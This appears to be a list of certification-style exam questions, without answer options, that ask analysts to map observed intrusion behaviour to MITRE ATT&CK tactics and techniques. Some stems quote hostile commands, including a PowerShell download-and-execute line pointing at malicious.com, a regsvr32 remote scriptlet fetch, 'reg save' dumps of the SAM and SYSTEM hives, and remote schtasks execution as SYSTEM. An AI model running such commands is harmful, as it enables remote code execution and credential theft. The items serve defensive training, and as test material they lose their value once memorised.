You are configuring a YARA rule for CrowdStrike Falcon to detect Cobalt Strike Beacon traffic. Which specific technique should you look for in the process memory that indicates process hollowing?
A threat hunter is reviewing logs for potential Defense Evasion techniques. Which TWO of the following activities are categorized under the Defense Evasion tactic in MITRE ATT&CK? (Choose two.)
An analyst observes that an attacker has used the 'at' command to schedule a job that runs a reverse shell every hour on a compromised Linux server. Which tactic does this represent?
A security analyst is investigating an alert where a user received a document that, when opened, immediately spawned a child process of WINWORD.EXE. The child process then made a network connection to an external IP address. The analyst suspects a specific MITRE ATT&CK technique. Which technique is most likely being used?
A security analyst is reviewing DNS logs and observes a workstation repeatedly querying subdomains such as 'a1b2c3.data.evilcorp.com' and 'd4e5f6.data.evilcorp.com' at regular intervals, with each subdomain resolving to the same IP address. The workstation has no legitimate business need to contact evilcorp.com. Which ATT&CK technique is MOST likely being used?
A security operations center (SOC) analyst is reviewing alerts related to credential dumping. The analyst observes several suspicious activities on a Windows endpoint. Which TWO of the following activities are considered Credential Access techniques according to MITRE ATT&CK? (Choose two.)
A security operations center (SOC) receives an alert that a user's workstation is exhibiting unusual behavior: a scheduled task was created that runs a script from a temporary directory, and the script attempts to disable Windows Defender real-time protection. The user denies creating the task. Which ATT&CK tactic is PRIMARILY represented by the creation of the scheduled task?
A security analyst is examining a suspicious PowerShell script that was executed on a host. The script contains the following line: `IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')`. Which MITRE ATT&CK technique does this line most directly represent?
An analyst is investigating an alert where a process named 'svchost.exe' is making an outbound HTTPS connection to an unknown IP address. The parent process of this svchost.exe is 'powershell.exe', which is unusual because svchost.exe is typically spawned by services.exe. The connection occurs every 30 seconds. Which ATT&CK technique is MOST likely being used by the attacker?
While analyzing an EDR alert, you observe a process modifying 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'. What is the primary adversary objective at this stage?
You are reviewing logs in Splunk and identify a suspicious process spawning 'cmd.exe' from 'wsmprovhost.exe'. Which MITRE ATT&CK tactic does this behavior most directly align with?
You are reviewing a Purple Team exercise involving 'T1003 OS Credential Dumping'. What is the most reliable way to detect credential dumping via LSASS process access?
A security operations center analyst observes an endpoint where the process 'rundll32.exe' has loaded a DLL from the user's Downloads folder and is making outbound SMB connections to several internal hosts. Which MITRE ATT&CK tactic is most likely being exercised by this behavior?
A security analyst reviewing endpoint telemetry observes that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineCore' was modified to point to a PowerShell script in a user's AppData folder. The task runs daily with SYSTEM privileges. Which adversarial tactic does this activity most directly represent?
A SOC analyst notices a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' running a binary in C:\Users\Public\ that calls back to an external IP every 15 minutes. The task was created at 03:14, outside of the normal patch window. Under which MITRE ATT&CK tactic is this activity best categorized?
During an investigation, you discover that an adversary has modified the 'ImagePath' registry value for a legitimate Windows service to point to a malicious executable. The service is configured to start automatically. Which MITRE ATT&CK tactic does this technique primarily fall under?
A security analyst reviewing endpoint telemetry notices that shortly after a user opened a malicious email attachment, a process named 'outlook.exe' spawned 'powershell.exe' with an encoded command line. The encoded command decoded to a script that downloaded a payload from an external IP address. Which MITRE ATT&CK tactic best describes the initial spawning of PowerShell from Outlook?
During incident response, an analyst discovers that an attacker used the built-in 'net.exe' command to enumerate domain groups and then leveraged 'nltest.exe' to query domain trusts. Which MITRE ATT&CK tactic best categorizes this sequence?
During incident response, an analyst observes that an adversary used 'net use \\fileserver\share$ /user:DOMAIN\svc_backup' followed shortly by 'schtasks /create /s fileserver /ru SYSTEM /tn UpdateCheck /tr C:\Windows\Temp\upd.exe'. The analyst already confirmed the initial host was compromised via phishing. Which tactic does the 'net use' command most directly represent in this sequence?
An analyst notices that a compromised host is generating a high volume of DNS queries for domains like 'a1b2c3d4e5f6g7h8.example.com', where the subdomain appears to be a hexadecimal string. The queries are frequent and vary in length. Which MITRE ATT&CK tactic is the adversary most likely employing?
During incident response, an analyst observes that an attacker used 'reg save HKLM\SAM C:\temp\sam.hiv' and 'reg save HKLM\SYSTEM C:\temp\system.hiv' on a compromised host. The analyst then sees the files being exfiltrated. Which MITRE ATT&CK tactic is the attacker primarily performing with the 'reg save' commands?
An analyst reviewing endpoint telemetry sees rundll32.exe executing a DLL from a user's Downloads folder with an export named 'Start'. The DLL was downloaded from an external site minutes earlier. Which MITRE ATT&CK tactic is most directly represented by this activity?
A threat actor gains initial access to a network by sending a phishing email with a malicious macro-enabled document. After the user enables macros, the document executes PowerShell to download and run a payload. Which MITRE ATT&CK tactic does the macro execution represent?
A security operations analyst is reviewing endpoint telemetry and observes that the process 'regsvr32.exe' was launched with the command line 'regsvr32.exe /s /u /i:http://malicious.example/evade.sct scrobj.dll'. The parent process is 'winword.exe'. There is no user interaction reported after the initial document open. Which adversarial tactic does this activity most directly represent?
A threat hunter is reviewing logs for signs of adversary reconnaissance. Which TWO of the following activities are considered Discovery techniques in the MITRE ATT&CK framework? (Choose two.)
An analyst observes an adversary using 'reg save HKLM\SAM sam.hive' and 'reg save HKLM\SYSTEM system.hive' on a compromised workstation. The files are then compressed and moved to a staging directory. Which MITRE ATT&CK tactic does this activity represent?
During threat hunting, an analyst sees a workstation authenticate to multiple servers using a single NTLM authentication event that is relayed to a different host within seconds. The workstation account is not the user's account, and the target servers log successful logons with the workstation's machine account. Which adversarial tactic is best supported by this evidence?
An adversary has gained access to a workstation and is attempting to escalate privileges. Which TWO of the following actions are examples of the Privilege Escalation tactic in MITRE ATT&CK? (Choose two.)
An analyst observes that an attacker has modified the Windows Registry to add a value under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' that points to a malicious executable. Which MITRE ATT&CK tactic is the attacker attempting to achieve?
An analyst notices that a process on a finance workstation is repeatedly writing compressed archives to a hidden directory and then uploading them to an external IP address during non-business hours. No user is logged in interactively at the time. Which adversarial tactic does this activity most directly represent?
A threat hunter is reviewing logs from a workstation and finds evidence of an adversary attempting to impair defenses before deploying ransomware. Which TWO of the following observed actions are Defense Evasion techniques? (Choose two.)
A security operations centre analyst reviewing endpoint telemetry sees a process named 'rundll32.exe' executing with the command line 'rundll32.exe C:\Users\Public\upd.dat,Start'. The DLL was written to the Public folder minutes earlier by a macro-enabled document. The analyst must map this behaviour to the most appropriate MITRE ATT&CK technique. Which technique best fits this activity?
A security operations center (SOC) analyst notices that an attacker has been using the 'at' command to schedule a job that runs a reverse shell every day at 9 AM on a compromised Linux server. Which MITRE ATT&CK tactic does this activity represent?
A security analyst is reviewing alerts on a server and observes the following behaviors: (1) a scheduled task was created to run a script at startup, (2) a new local administrator account was created, and (3) the host file was modified to redirect a security vendor domain. Which TWO of these behaviors are most consistent with the Persistence tactic? (Choose two.)
An analyst observes an endpoint resolving hundreds of unique subdomains under a single parent domain, each subdomain encoded as a long hexadecimal string, and the responses frequently return NXDOMAIN. The endpoint process generating these queries is a signed Office add-in. Which adversarial tactic is the endpoint most likely exhibiting?
During an incident, an analyst finds that an adversary used a legitimate remote monitoring and management (RMM) tool already installed in the environment to execute commands, then deleted the tool's logs and renamed the executable to match a system process. Which adversarial tactic is most clearly being used to avoid detection and prolong the intrusion?
During an incident, an analyst finds that a domain controller's NTDS.dit file was accessed by a process running under the context of a service account, and shortly afterwards the same account authenticated to several member servers using NTLM. The analyst must determine which adversarial tactic the combined activity represents. Which tactic does this activity primarily represent?
A red team member uses the Windows Management Instrumentation (WMI) command-line utility to create a new process on a remote host, specifying credentials of a compromised domain user. Which tactic does this activity primarily illustrate?
An analyst is reviewing host telemetry to identify behaviours that map to the Defense Evasion tactic. Which two of the following observed actions should be mapped to Defense Evasion? (Choose two.)
An analyst detects that an adversary used the PsExec utility to copy a service binary to a remote host and create a temporary Windows service that executed the binary as SYSTEM. The analyst must classify this behaviour. Which MITRE ATT&CK technique does this activity represent?
During an incident response engagement, an analyst finds that an attacker used a signed, legitimate remote monitoring and management (RMM) tool to maintain access on several endpoints. The tool's binary was already installed by the IT department for administrative purposes. Which ATT&CK technique BEST describes the attacker's action of using this existing, signed tool to avoid detection?
A security analyst notices that an attacker has established persistence on a compromised host by creating a new Windows service. The service is configured to run a malicious executable at system startup. Which MITRE ATT&CK technique does this represent?
A security analyst is examining a compromised host and observes the following activities: (1) a new local administrator account was created, (2) the Windows Security event log was cleared, (3) a tool was run to dump credentials from memory, and (4) a firewall rule was added to allow inbound traffic on port 4444. Which TWO of these activities are classified under the Credential Access tactic? (Choose two.)
A security analyst is investigating an incident where an attacker used a technique to evade detection by injecting malicious code into a legitimate process. The analyst observes that the attacker used `CreateRemoteThread` to execute code in a remote process. Which MITRE ATT&CK technique does this represent?